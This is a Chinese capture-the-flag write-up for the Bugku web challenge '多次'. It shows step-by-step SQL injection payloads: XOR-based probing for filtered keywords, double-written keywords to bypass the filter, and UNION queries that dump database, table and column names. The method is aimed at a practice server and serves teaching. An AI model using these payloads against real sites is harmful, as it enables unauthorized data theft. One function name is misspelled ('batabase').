1. 程式人生 > >bugku-Web-多次(異或注入,判斷被過濾的關鍵字)

bugku-Web-多次(異或注入,判斷被過濾的關鍵字)

進去看到url感覺是sql注入,

加上',報錯但是%23不報錯,加上'--+,也不報錯,說明可以用--+註釋
加上' or 1=1--+,報錯
嘗試' oorr 1=1--+,正常
說明or被過濾了.

那麼怎麼判斷哪些關鍵字被過濾了呢,這裡用到異或注入(同真異假)。

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')!=0)--+

如果返回正常說明union被過濾了。

這樣嘗試出來被過濾的關鍵字:union、select、and、or、(order、information中含or)

由最上面知道雙寫可以繞過過濾
 

猜欄位數
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常
http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 報錯
暴庫:
id=-1' ununionion selselectect 1,batabase()--+

web1002-1
暴表:123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web1002-1'--+

flag1
爆列名:
123.206.87.240:9004/1ndex.php?id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+


flag1,address

下一階段如果爆出flag1,會出來一串字元

嘗試爆出address的話出現下一關地址,進入下一關